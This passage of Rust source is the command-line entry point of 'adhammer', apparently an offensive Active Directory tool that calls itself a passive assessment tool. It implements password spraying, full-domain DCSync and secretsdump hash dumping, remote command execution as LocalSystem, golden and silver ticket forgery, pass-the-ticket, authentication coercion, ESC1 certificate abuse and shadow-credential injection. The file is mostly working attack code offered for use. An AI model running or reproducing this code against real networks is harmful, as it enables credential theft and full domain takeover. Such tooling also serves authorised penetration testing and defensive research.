use adhammer_collector::{Collector, LdapConfig};
use adhammer_graph::ControlGraph;
use adhammer_report::{Report, RiskConfig};
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
mod interactive;
mod poison;
mod session;
#[derive(Parser)]
#[command(
name = "adhammer",
version,
about = "Passive AD security assessment in Rust"
)]
struct Cli {
#[arg(long)]
old: bool,
#[command(subcommand)]
cmd: Option<Command>,
}
#[derive(Subcommand)]
enum Command {
Scan(ScanArgs),
#[command(subcommand)]
Enum(EnumCmd),
#[command(subcommand)]
Attack(AttackCmd),
}
#[derive(Subcommand)]
enum EnumCmd {
Samr(SamrArgs),
Lsa(LsaArgs),
Net(NetArgs),
}
#[derive(Parser)]
struct NetArgs {
#[arg(long)]
targets: String,
#[arg(long, default_value = "256")]
concurrency: usize,
#[arg(long)]
deep: bool,
#[arg(long)]
zone: Option<String>,
#[arg(long, default_value = "public,private")]
community: String,
}
#[derive(Subcommand)]
enum AttackCmd {
Roast(ScanArgs),
Spray(SprayArgs),
Abuse(AbuseArgs),
Coerce(CoerceArgs),
Rbcd(RbcdArgs),
Constrained(RbcdArgs),
Asktgt(AsktgtArgs),
Dcsync(DcsyncArgs),
Capture(CaptureArgs),
Poison(PoisonArgs),
Relay(RelayArgs),
Exec(ExecArgs),
Atexec(ExecArgs),
Secretsdump(SecretsdumpArgs),
Gmsa(GmsaArgs),
Esc1(Esc1Args),
Golden(GoldenArgs),
Silver(SilverArgs),
Pth(PthArgs),
}
#[derive(Parser)]
struct PthArgs {
#[arg(long)]
host: String,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
realm: String,
#[arg(long)]
domain_sid: String,
#[arg(long)]
krbtgt_aes256: Option<String>,
#[arg(long)]
service_aes256: Option<String>,
#[arg(long)]
rc4: bool,
#[arg(long)]
spn: Option<String>,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
command: Option<String>,
}
#[derive(Parser)]
struct SilverArgs {
#[arg(long)]
realm: String,
#[arg(long)]
service_aes256: String,
#[arg(long)]
rc4: bool,
#[arg(long)]
spn: String,
#[arg(long)]
domain_sid: String,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
out: Option<String>,
}
#[derive(Parser)]
struct GoldenArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
krbtgt_aes256: String,
#[arg(long)]
rc4: bool,
#[arg(long)]
domain_sid: String,
#[arg(long, default_value = "Administrator")]
user: String,
#[arg(long, default_value_t = 500)]
rid: u32,
#[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
groups: Vec<u32>,
#[arg(long)]
out: Option<String>,
#[arg(long)]
verify_spn: Option<String>,
}
#[derive(Parser)]
struct Esc1Args {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
ca: String,
#[arg(long)]
template: String,
#[arg(long)]
upn: String,
#[arg(long, default_value = "esc1.crt")]
out: String,
#[arg(long)]
pkinit: bool,
#[arg(long)]
kdc: Option<String>,
}
#[derive(Parser)]
struct GmsaArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
insecure: bool,
#[arg(long)]
target: String,
}
#[derive(Parser)]
struct SecretsdumpArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
}
#[derive(Parser)]
struct ExecArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
command: String,
}
#[derive(Parser)]
struct RelayArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
#[arg(long)]
target_dc: String,
#[arg(long)]
realm: String,
#[arg(long)]
target_object: String,
}
#[derive(Parser)]
struct PoisonArgs {
#[arg(long)]
spoof_ip: std::net::Ipv4Addr,
}
#[derive(Parser)]
struct CaptureArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
}
#[derive(Parser)]
struct DcsyncArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
target: Option<String>,
#[arg(long)]
all: bool,
}
#[derive(Parser)]
struct AsktgtArgs {
#[arg(long)]
user: String,
#[arg(long)]
realm: String,
#[arg(long)]
kdc: String,
#[arg(long)]
password: Option<String>,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
out: Option<String>,
}
#[derive(Parser)]
struct RbcdArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
account: String,
#[arg(long)]
account_password: String,
#[arg(long)]
impersonate: String,
#[arg(long)]
target_spn: String,
}
#[derive(Parser)]
struct CoerceArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
listener: String,
#[arg(long, default_value = "lsarpc")]
pipe: String,
#[arg(long)]
target: Option<String>,
}
#[derive(Parser)]
struct AbuseArgs {
#[arg(long)]
url: Option<String>,
#[arg(long)]
user: Option<String>,
#[arg(long)]
password: Option<String>,
#[arg(long)]
insecure: bool,
#[arg(long)]
action: String,
#[arg(long)]
target: String,
#[arg(long, default_value = "")]
value: String,
#[arg(long)]
realm: Option<String>,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
ldap389: bool,
#[arg(long)]
host: Option<String>,
}
#[derive(Parser)]
struct SprayArgs {
#[arg(long)]
kdc: String,
#[arg(long)]
realm: String,
#[arg(long)]
users: String,
#[arg(long)]
password: String,
}
#[derive(Parser)]
struct LsaArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
#[arg(long)]
name: String,
}
#[derive(Parser)]
struct SamrArgs {
#[arg(long)]
host: String,
#[arg(long)]
domain: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: String,
#[arg(long)]
nt_hash: Option<String>,
}
#[derive(Parser)]
struct ScanArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long)]
password: String,
#[arg(long)]
base_dn: Option<String>,
#[arg(long, default_value = "json")]
format: String,
#[arg(long)]
kdc: Option<String>,
#[arg(long)]
sysvol: Option<String>,
#[arg(long)]
insecure: bool,
#[arg(long)]
gssapi: bool,
#[arg(long)]
bloodhound: Option<String>,
}
#[tokio::main]
async fn main() -> Result<()> {
tracing_subscriber::fmt().with_target(false).init();
let cli = Cli::parse();
match cli.cmd {
None => interactive::run(cli.old).await,
Some(cmd) => dispatch(cmd).await,
}
}
async fn dispatch(cmd: Command) -> Result<()> {
match cmd {
Command::Scan(a) => scan(a).await,
Command::Enum(EnumCmd::Samr(a)) => samr(a).await,
Command::Enum(EnumCmd::Lsa(a)) => lsa(a).await,
Command::Enum(EnumCmd::Net(a)) => netenum(a).await,
Command::Attack(AttackCmd::Roast(a)) => roast(a).await,
Command::Attack(AttackCmd::Spray(a)) => spray(a).await,
Command::Attack(AttackCmd::Abuse(a)) => abuse(a).await,
Command::Attack(AttackCmd::Coerce(a)) => coerce(a).await,
Command::Attack(AttackCmd::Rbcd(a)) => rbcd(a).await,
Command::Attack(AttackCmd::Constrained(a)) => rbcd(a).await,
Command::Attack(AttackCmd::Asktgt(a)) => asktgt(a).await,
Command::Attack(AttackCmd::Dcsync(a)) => dcsync(a).await,
Command::Attack(AttackCmd::Capture(a)) => smb2_client::server::capture(&a.listen)
.await
.map_err(Into::into),
Command::Attack(AttackCmd::Poison(a)) => poison::poison(a.spoof_ip).await,
Command::Attack(AttackCmd::Relay(a)) => relay(a).await,
Command::Attack(AttackCmd::Exec(a)) => exec_cmd(a).await,
Command::Attack(AttackCmd::Atexec(a)) => atexec_cmd(a).await,
Command::Attack(AttackCmd::Secretsdump(a)) => secretsdump(a).await,
Command::Attack(AttackCmd::Gmsa(a)) => gmsa(a).await,
Command::Attack(AttackCmd::Esc1(a)) => esc1(a).await,
Command::Attack(AttackCmd::Golden(a)) => golden(a).await,
Command::Attack(AttackCmd::Silver(a)) => silver(a).await,
Command::Attack(AttackCmd::Pth(a)) => pth(a).await,
}
}
async fn rbcd(a: RbcdArgs) -> Result<()> {
let etype = adhammer_kerberos::rbcd_impersonate(
&a.account,
&a.account_password,
&a.realm,
&a.kdc,
&a.impersonate,
&a.target_spn,
)
.await?;
println!(
"[+] got service ticket for {} as {} (enc-part etype {etype})",
a.target_spn, a.impersonate
);
println!(" RBCD chain succeeded — impersonation ticket obtained.");
Ok(())
}
async fn asktgt(a: AsktgtArgs) -> Result<()> {
let ccache = match (&a.nt_hash, &a.password) {
(Some(h), None) => {
let nt = parse_nt_hash(h)?;
println!("[*] overpass-the-hash (RC4-HMAC) for {}", a.user);
adhammer_kerberos::overpass_the_hash(&a.user, &a.realm, &a.kdc, &nt).await?
}
(None, Some(pw)) => adhammer_kerberos::asktgt(&a.user, &a.realm, &a.kdc, pw).await?,
_ => anyhow::bail!("provide exactly one of --password or --nt-hash"),
};
let out = a.out.unwrap_or_else(|| format!("{}.ccache", a.user));
std::fs::write(&out, &ccache)?;
println!(
"[+] TGT obtained for {} → {out} ({} bytes)",
a.user,
ccache.len()
);
println!(" export KRB5CCNAME={out} (use with Kerberos-aware tooling)");
Ok(())
}
async fn dcsync(a: DcsyncArgs) -> Result<()> {
use dcerpc::drsuapi::DrsSession;
if a.all {
return dcsync_all(&a).await;
}
let mut sess = DrsSession::bind(&a.host, &a.domain, &a.user, &a.password).await?;
match a.target {
None => {
let handle_hex: String = sess.handle().iter().map(|b| format!("{b:02x}")).collect();
println!("[+] DRSBind OK — sealed replication handle {handle_hex} (no --target: bind-only check)");
}
Some(t) => {
let (rid, nt, kerb) = sess.dcsync(&a.domain, &t).await?;
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
t, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", t, k.etype_name(), hex::encode(&k.key));
}
}
}
Ok(())
}
async fn dcsync_all(a: &DcsyncArgs) -> Result<()> {
use dcerpc::drsuapi::DrsSession;
use dcerpc::samr::SamrClient;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let pipe = smb.open_pipe("samr").await?;
let mut samr = SamrClient::bind(&mut smb, pipe).await?;
let users = samr.enumerate_all_users(&format!("\\\\{}", a.host)).await?;
eprintln!(
"[+] {} accounts enumerated; replicating secrets…",
users.len()
);
let mut sess = DrsSession::bind(&a.host, &a.domain, &a.user, &a.password).await?;
let (mut ok, mut fail) = (0u32, 0u32);
for (_rid, name) in &users {
match sess.dcsync(&a.domain, name).await {
Ok((rid, nt, kerb)) => {
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!(
"{}:{}:aad3b435b51404eeaad3b435b51404ee:{}:::",
name, rid, nthex
);
for k in &kerb {
println!("{}:{}:{}", name, k.etype_name(), hex::encode(&k.key));
}
ok += 1;
}
Err(e) => {
tracing::warn!("dcsync {name} failed: {e}");
fail += 1;
}
}
}
eprintln!("[+] full-domain DCSync complete: {ok} dumped, {fail} failed");
Ok(())
}
fn parse_nt_hash(s: &str) -> Result<[u8; 16]> {
let hex_str = s.rsplit(':').next().unwrap_or(s).trim();
let raw = hex::decode(hex_str).context("--nt-hash must be hex")?;
anyhow::ensure!(
raw.len() == 16,
"--nt-hash must be a 32-hex NT hash (got {} bytes)",
raw.len()
);
Ok(raw.try_into().unwrap())
}
fn parse_forge_key(s: &str, rc4: bool) -> Result<Vec<u8>> {
let raw = hex::decode(s.trim()).context("forge key must be hex")?;
let want = if rc4 { 16 } else { 32 };
anyhow::ensure!(
raw.len() == want,
"expected a {}-hex {} key, got {} hex",
want * 2,
if rc4 { "RC4/NT-hash" } else { "AES256" },
raw.len() * 2
);
Ok(raw)
}
async fn smb_login(
smb: &mut smb2_client::SmbClient,
host: &str,
domain: &str,
user: &str,
password: &str,
nt_hash: &Option<String>,
) -> Result<()> {
match nt_hash {
Some(h) => {
let nt = parse_nt_hash(h)?;
smb.login_hash(host, domain, user, &nt).await?;
}
None => {
anyhow::ensure!(!password.is_empty(), "provide --password or --nt-hash");
smb.login(host, domain, user, password).await?;
}
}
Ok(())
}
async fn exec_cmd(a: ExecArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.host, &a.command).await?;
let clean = if r.cleaned {
"service cleaned up"
} else {
"SERVICE NOT DELETED"
};
if r.ran {
println!(
"[+] executed as LocalSystem (service '{}', start win32 {}); {clean}",
r.service, r.start_win32
);
} else {
println!("[-] service '{}' created but start returned win32 {} (command may not have run); {clean}", r.service, r.start_win32);
}
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
Some(_) => println!("[*] command produced no output"),
None => println!("[*] output not captured (see warnings; command may still have run)"),
}
Ok(())
}
async fn atexec_cmd(a: ExecArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
let tag = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.subsec_nanos())
.unwrap_or(0);
let out_rel = format!("Windows\\Temp\\ADhat{tag:08x}.out");
let full = format!("{} > C:\\{out_rel} 2>&1", a.command);
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let (path, run_hr) =
dcerpc::tsch::atexec(&mut smb, &full, &a.domain, &a.user, &a.password, &a.host).await?;
println!("[+] scheduled task {path} registered + run as LocalSystem (run HRESULT 0x{run_hr:08x}); deleted");
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
match smb.read_file_delete(&out_rel).await {
Ok(b) if !b.is_empty() => println!(
"\n{}",
String::from_utf8_lossy(&b).replace('\r', "").trim_end()
),
Ok(_) => println!("[*] command produced no output"),
Err(e) => println!("[*] output not captured: {e}"),
}
Ok(())
}
async fn secretsdump(a: SecretsdumpArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb_login(
&mut smb,
&a.host,
&a.domain,
&a.user,
&a.password,
&a.nt_hash,
)
.await?;
let sys_rel = "Windows\\Temp\\ADh_sys.tmp";
let sam_rel = "Windows\\Temp\\ADh_sam.tmp";
let sec_rel = "Windows\\Temp\\ADh_sec.tmp";
for (hive, rel) in [("SYSTEM", sys_rel), ("SAM", sam_rel), ("SECURITY", sec_rel)] {
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let cmd = format!("reg save HKLM\\{hive} C:\\{rel} /y");
let ret = dcerpc::svcctl::run(&mut smb, &cmd).await?;
tracing::info!("reg save {hive}: SCM start win32 {ret}");
}
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
let system = smb
.read_file_delete(sys_rel)
.await
.context("read SYSTEM hive over C$")?;
let sam = smb.read_file_delete(sam_rel).await.ok();
let security = smb.read_file_delete(sec_rel).await.ok();
eprintln!(
"[+] hives: SYSTEM {} B, SAM {}, SECURITY {}",
system.len(),
sam.as_ref()
.map_or("unavailable".into(), |v| format!("{} B", v.len())),
security
.as_ref()
.map_or("unavailable".into(), |v| format!("{} B", v.len())),
);
if sam.is_none() || security.is_none() {
eprintln!(
"[!] a protected hive was denied by the target (SeBackupPrivilege / hardening). \
On a DC, use `attack dcsync` for domain secrets — SAM/LSA here cover only local creds."
);
}
match sam
.as_ref()
.map(|s| adhammer_secrets::local_dump(&system, s))
{
Some(Ok(accounts)) => {
eprintln!("[+] {} local account(s):", accounts.len());
for acct in accounts {
println!("{}", acct.secretsdump_line());
}
}
Some(Err(e)) => eprintln!("[-] SAM decrypt failed: {e}"),
None => eprintln!("[*] SAM hive unavailable — skipping local accounts"),
}
let Some(security) = security.as_ref() else {
eprintln!("[*] SECURITY hive unavailable — skipping LSA secrets / DCC2");
return Ok(());
};
match adhammer_secrets::local_lsa(&system, security) {
Ok(dump) => {
eprintln!("[+] {} LSA secret(s):", dump.secrets.len());
for s in &dump.secrets {
if s.name.eq_ignore_ascii_case("$MACHINE.ACC") {
let nt: String = ntlmssp::md4(&s.secret)
.iter()
.map(|b| format!("{b:02x}"))
.collect();
println!("$MACHINE.ACC:aad3b435b51404eeaad3b435b51404ee:{nt}:::");
} else {
print_lsa_secret(&s.name, &s.secret);
}
}
if !dump.cached.is_empty() {
eprintln!(
"[+] {} cached domain logon(s) (hashcat -m 2100):",
dump.cached.len()
);
for c in &dump.cached {
println!("{}", c.dcc2_line());
}
}
}
Err(e) => eprintln!("[-] LSA decrypt failed: {e}"),
}
Ok(())
}
fn print_lsa_secret(name: &str, secret: &[u8]) {
let units: Vec<u16> = secret
.chunks_exact(2)
.map(|c| u16::from_le_bytes([c[0], c[1]]))
.take_while(|&u| u != 0)
.collect();
let printable = !units.is_empty() && units.iter().all(|&u| (0x20..0x7f).contains(&u));
if printable {
println!("{name}:{}", String::from_utf16_lossy(&units));
} else {
println!("{name}:{}", hex::encode(secret));
}
}
async fn esc1(a: Esc1Args) -> Result<()> {
use smb2_client::SmbClient;
let subject = a.upn.split('@').next().unwrap_or("adhammer");
let csr = adhammer_kerberos::csr::build_csr(subject, Some(&a.upn))?;
eprintln!("[*] CSR built (subject CN={subject}, SAN upn={})", a.upn);
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::icpr::request_cert(
&mut smb,
&a.ca,
&a.template,
&csr.der,
&a.domain,
&a.user,
&a.password,
&a.host,
)
.await?;
if r.disposition == 3 && !r.cert_der.is_empty() {
std::fs::write(&a.out, &r.cert_der)?;
let key_path = format!("{}.key.pem", a.out);
std::fs::write(&key_path, &csr.key_pem)?;
println!(
"[+] ESC1: certificate ISSUED for UPN {} → {} ({} bytes), key → {}",
a.upn,
a.out,
r.cert_der.len(),
key_path
);
if a.pkinit {
let kdc = a.kdc.clone().unwrap_or_else(|| a.host.clone());
let realm = a.upn.split('@').nth(1).unwrap_or(&a.domain).to_string();
match adhammer_kerberos::pkinit::pkinit_with_cert(
subject,
&realm,
&kdc,
&csr.key_pem,
Some(&r.cert_der),
)
.await
{
Ok(tgt) => {
let ccache = format!("{subject}.ccache");
std::fs::write(&ccache, &tgt.ccache)?;
println!("[+] PKINIT OK — TGT obtained as {subject}; ccache → {ccache}");
println!(
" KRB5CCNAME={ccache} → use for Kerberos auth (dcsync, exec via -k, …)"
);
}
Err(e) => {
println!("[-] PKINIT with the issued cert failed: {e:#}");
if e.to_string().contains("error 66") {
println!(" (KDC_ERR_CANT_VERIFY_CERTIFICATE — likely strong certificate-mapping");
println!(" enforcement (KB5014754): a UPN-only cert has no SID mapping to the");
println!(" target, so the KDC refuses it. ESC1 escalation is mitigated on this DC.");
println!(" The cert was still issued — the template is vulnerable.)");
}
}
}
} else {
println!(
" next: --pkinit to turn this cert into a TGT as {}",
subject
);
}
} else {
println!(
"[-] enrollment not issued (disposition {}): {}",
r.disposition, r.message
);
}
Ok(())
}
async fn golden(a: GoldenArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = parse_forge_key(&a.krbtgt_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!(
"[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
a.user, a.realm, a.rid, a.groups
);
if let Some(spn) = &a.verify_spn {
match adhammer_kerberos::roast_spn(&tgt, &a.user, spn, &a.kdc).await {
Ok(_) => println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})"),
Err(e) => println!("[-] KDC rejected the golden ticket for {spn}: {e}"),
}
}
if let Some(out) = &a.out {
let cc = adhammer_kerberos::golden_ccache(&tgt, &a.user)?;
std::fs::write(out, &cc)?;
println!(
"[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
cc.len()
);
}
Ok(())
}
async fn silver(a: SilverArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
let key = parse_forge_key(&a.service_aes256, a.rc4)?;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &a.spn, a.rc4)?;
println!(
"[+] forged silver ticket: {}@{} for {} (rid {})",
a.user, a.realm, a.spn, a.rid
);
if let Some(out) = &a.out {
let cc = adhammer_kerberos::silver_ccache(&tgt, &a.user, &a.spn)?;
std::fs::write(out, &cc)?;
println!("[+] wrote ccache → {out} ({} bytes)", cc.len());
}
Ok(())
}
async fn pth(a: PthArgs) -> Result<()> {
use adhammer_kerberos::pac::ForgeIdentity;
use smb2_client::SmbClient;
let subs: Vec<u32> = a
.domain_sid
.trim_start_matches("S-1-5-")
.split('-')
.map(|x| x.parse::<u32>())
.collect::<std::result::Result<_, _>>()
.context("--domain-sid must be S-1-5-21-a-b-c")?;
let spn = a.spn.clone().unwrap_or_else(|| format!("cifs/{}", a.host));
let id = ForgeIdentity {
user: a.user.clone(),
rid: a.rid,
primary_gid: 513,
group_rids: a.groups.clone(),
domain_subauths: subs,
logon_server: a.realm.split('.').next().unwrap_or("DC").to_uppercase(),
logon_domain: a.realm.split('.').next().unwrap_or("DOMAIN").to_uppercase(),
};
let st = match (&a.krbtgt_aes256, &a.service_aes256) {
(Some(k), None) => {
let key = parse_forge_key(k, a.rc4)?;
let kdc = a.kdc.clone().unwrap_or_else(|| a.host.clone());
let tgt = adhammer_kerberos::forge_golden_tgt(&id, &a.realm, &key, a.rc4)?;
println!("[+] forged golden TGT for {}@{}", a.user, a.realm);
let st = adhammer_kerberos::get_service_ticket(&tgt, &spn, &kdc).await?;
println!("[+] got service ticket for {spn} (KDC accepted the golden TGT)");
st
}
(None, Some(k)) => {
let key = parse_forge_key(k, a.rc4)?;
let tgt = adhammer_kerberos::forge_silver_tgt(&id, &a.realm, &key, &spn, a.rc4)?;
println!("[+] forged silver ticket for {spn}");
adhammer_kerberos::silver_service_ticket(&tgt, &spn)
}
_ => anyhow::bail!(
"provide exactly one of --krbtgt-aes256 (golden) or --service-aes256 (silver)"
),
};
let (blob, key) = adhammer_kerberos::build_ap_req_gss(&st)?;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login_kerberos(&blob, &key).await?;
println!(
"[+] Kerberos SMB session established as {} (pass-the-ticket)",
a.user
);
if let Some(cmd) = &a.command {
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
let r = dcerpc::svcctl::exec(&mut smb, &a.host, cmd).await?;
println!(
"[+] ran as LocalSystem (service '{}', win32 {})",
r.service, r.start_win32
);
match r.output {
Some(o) if !o.is_empty() => println!("\n{o}"),
_ => println!("[*] no output captured"),
}
} else {
smb.tree_connect(&format!("\\\\{}\\C$", a.host)).await?;
println!(
"[+] tree-connected \\\\{}\\C$ — authenticated access confirmed",
a.host
);
}
Ok(())
}
async fn gmsa(a: GmsaArgs) -> Result<()> {
use adhammer_collector::{Collector, LdapConfig};
let cfg = LdapConfig {
url: a.url.clone(),
bind_dn: a.user.clone(),
password: a.password.clone(),
base_dn: None,
insecure: a.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let blob = c
.read_attr_bin(&a.target, "msDS-ManagedPassword")
.await?
.context(
"msDS-ManagedPassword not returned (not a gMSA, no retrieve right, or not over LDAPS)",
)?;
let pw = parse_managed_password_blob(&blob).context("parse MSDS-MANAGEDPASSWORD_BLOB")?;
let nt = ntlmssp::md4(&pw);
let nthex: String = nt.iter().map(|b| format!("{b:02x}")).collect();
println!("{}:aad3b435b51404eeaad3b435b51404ee:{}:::", a.target, nthex);
eprintln!(
"[+] gMSA {} current-password NT hash recovered ({} blob bytes)",
a.target,
blob.len()
);
Ok(())
}
fn parse_managed_password_blob(b: &[u8]) -> Option<Vec<u8>> {
if b.len() < 16 {
return None;
}
let cur_off = u16::from_le_bytes([b[8], b[9]]) as usize; let prev_off = u16::from_le_bytes([b[10], b[11]]) as usize; let end = if prev_off > cur_off {
prev_off
} else {
b.len()
};
let pw = b.get(cur_off..end)?;
Some(pw.get(..256).unwrap_or(pw).to_vec())
}
async fn coerce(a: CoerceArgs) -> Result<()> {
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.host).await?;
smb.login(&a.host, &a.domain, &a.user, &a.password).await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.host)).await?;
if a.pipe.eq_ignore_ascii_case("spoolss") {
use dcerpc::rprn::{printerbug_tcp, PrinterBug};
let target = a.target.clone().unwrap_or_else(|| a.host.clone());
let via_pipe = match smb.open_pipe("spoolss").await {
Ok(pipe) => {
let mut client = PrinterBug::bind(&mut smb, pipe).await?;
Some(client.coerce(&target, &a.listener).await)
}
Err(_) => None,
};
let result = match via_pipe {
Some(r) => r,
None => {
printerbug_tcp(
&a.host,
&a.domain,
&a.user,
&a.password,
&target,
&a.listener,
)
.await
}
};
match result {
Ok(status) => {
println!("[+] PrinterBug (RFFPCNEx) accepted — status {status:#010x}");
println!(" {} spooler attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.host, a.listener);
}
Err(e) => {
println!("[-] PrinterBug failed/patched (spooler off or remote RPC blocked): {e}")
}
}
return Ok(());
}
use dcerpc::efsr::CoerceClient;
let pipe = smb.open_pipe(&a.pipe).await?;
let mut client = CoerceClient::bind(&mut smb, pipe).await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!(
"[+] EfsRpcOpenFileRaw accepted via \\{} — status {status:#010x}",
a.pipe
);
println!(
" DC {} attempted auth to \\\\{}\\... (run a relay/listener to capture)",
a.host, a.listener
);
}
Err(e) => println!("[-] coercion via \\{} failed/patched: {e}", a.pipe),
}
Ok(())
}
async fn abuse(a: AbuseArgs) -> Result<()> {
if a.action == "pkinit" {
let realm = a.realm.clone().context("pkinit needs --realm")?;
let kdc = a.kdc.clone().context("pkinit needs --kdc")?;
let key_path = if a.value.is_empty() {
format!("{}.key.pem", a.target)
} else {
a.value.clone()
};
let pem =
std::fs::read_to_string(&key_path).with_context(|| format!("read key {key_path}"))?;
let tgt =
adhammer_kerberos::pkinit::pkinit_authenticate(&a.target, &realm, &kdc, &pem).await?;
let cc_path = format!("{}.ccache", a.target);
std::fs::write(&cc_path, &tgt.ccache)?;
println!(
"[+] PKINIT succeeded — TGT for {}@{} (via {})",
a.target, realm, tgt.sname
);
println!(" reply key derived from DH + AS-REP enc-part decrypted (holder of the registered key)");
println!(" ticket valid until {}", tgt.end_time);
println!(" ccache saved to {cc_path} (export KRB5CCNAME={cc_path})");
return Ok(());
}
if a.ldap389 {
let host = a.host.clone().context("--ldap389 needs --host")?;
let realm = a.realm.clone().context("--ldap389 needs --realm")?;
let user = a.user.clone().context("--ldap389 needs --user")?;
let password = a.password.clone().context("--ldap389 needs --password")?;
let bare = user
.split('@')
.next()
.unwrap_or(&user)
.rsplit('\\')
.next()
.unwrap_or(&user)
.to_string();
let base: String = realm
.split('.')
.map(|p| format!("DC={p}"))
.collect::<Vec<_>>()
.join(",");
let mut ld = adhammer_ldap::LdapClient::connect(&format!("{host}:389")).await?;
ld.bind_ntlm(&realm, &bare, &password, "ADHAMMER").await?;
let dn = ld.find_dn(&base, &a.target).await?;
let kc = adhammer_kerberos::shadowcred::build_key_credential(&dn)?;
ld.modify_add(&dn, "msDS-KeyCredentialLink", kc.dn_binary.as_bytes())
.await?;
std::fs::write(format!("{}.key.pem", a.target), &kc.private_key_pem)?;
println!("[+] LDAP-389 (NTLM SASL) add-keycred on {dn}");
println!(
" key saved to {}.key.pem — Phase 2: attack abuse --action pkinit --target {}",
a.target, a.target
);
return Ok(());
}
let cfg = LdapConfig {
url: a.url.clone().context("this action needs --url")?,
bind_dn: a.user.clone().context("this action needs --user")?,
password: a.password.clone().context("this action needs --password")?,
base_dn: None,
